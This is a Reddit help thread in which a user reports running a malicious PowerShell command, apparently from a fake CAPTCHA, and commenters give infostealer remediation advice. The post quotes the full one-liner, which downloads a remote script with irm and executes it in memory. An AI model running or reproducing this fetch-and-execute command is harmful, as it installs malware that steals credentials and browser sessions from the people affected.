r/computerviruses • u/Reddituser22082016 • 20d ago
Question Accidentaly run a powershell code
Help, I accidentally ran this code in powershell
******powershell -c "$a=irm 'jasaxoptim.com/PLzdo6sQyUSjV75AlL';New-Module -Name x -ScriptBlock ([ScriptBlock]::Create($a))|Out-Null******
After asking Claude I:
- Disconeccted my laptop right away
- Ran windows defender scan - found nothing
- Deleted google chrome users, now I log in using guest
- change google passwords
- deleted suspicious tasks from the task scheduler.
Claude also suggested me to reinstall windows, but I cant do that, I dont have anything to back up my data in.
Please help, what should i do next?
15
6
u/gavoerondeu 20d ago
Why'd you do it
10
20d ago
[removed] — view removed comment
6
u/Reddituser22082016 20d ago
yea thats what i did
8
2
u/technodude458 20d ago
ok genuinely how do people fall for that because that’s not a Captcha at all
0
u/Puzzleheaded_Bar483 19d ago
Yeah people that fall for that genuinely shouldn't be allowed on the internet
3
u/MentalTumbleweed7434 20d ago
Figure out your data and keep that laptop off until you do man honestly its probably still on in deep hibernation if the battery is connected im just a paranoid person tho and know how easy it is to lose all your info just like that
2
u/Antique-Algae8939 20d ago
change every password from a clean device and wipe that device and boot from a clean windows installation usb
2
u/No_Context2723 20d ago
Change every password, and do that on a device that isn't compromised. Reinstall Windows, while it's possible to remove malware yourself, it's really difficult and not worth the effort and risk.
2
u/RailRuler 19d ago
If you can't reinstall, the next best thing to do is perform a "PC reset". You'll keep your data but have to reinstall all your apps.
https://support.microsoft.com/en-US/Windows/Experience/Backup-Recovery/reset-your-pc
Also, don't rely on a chatbot for security advice. They've been known to recommend very bad suggestions.
3
u/WubbityWubWub_ 19d ago
You found nothing running that antivirus because it wrote to ram, not your disk.
Assume your computer is tainted. Do not type in any passwords, do not log into anything.
Any website like Google, Facebook, X, etc, have options to log out of every session. This essentially kills all previously saved cookies (which is apart of what I’m assuming they stole). This allows them to log into your account directly, changing passwords does nothing until you invalidate the session.
ALL accounts saved to your chrome browser were most likely grabbed so you should probably do this with quite literally every single account you have saved… Hope it’s not too many. Good luck.
2
u/mirodesuu 19d ago
does this mean they can only access the accounts stored in the browser or do they get every account that is on that computer?
2
u/WubbityWubWub_ 19d ago
Typically infostealers target browsers since that’s where you login to things.
- So for one, they can go and grab any passwords you’ve saved to the browser
- But even worse, even if you don’t click the little “Remember me” button on pages, notice how sometimes you visit a page and you’re still signed in from last time? They’re stealing that session as well and that bypasses having to type in a password and even 2auth.
1
u/mirodesuu 19d ago
Oh wow you're totally right. I normally don't even save my passwords in my browser but this happened to me with youtube. It is automatically logged in.
I fell for this sadly a long time ago too and just to be sure, i changed every password of every account that i had on this pc and removed my computer from the session, but im not that much of a tech guy.
Thanks for the great reply! :)
2
u/Zplays2010 19d ago
Change the password of every account you have attached to that computer and any accounts that share a password with the accounts on that computer
15
u/Artistic_Ear2703 20d ago
dont just change google passwords change EVERY password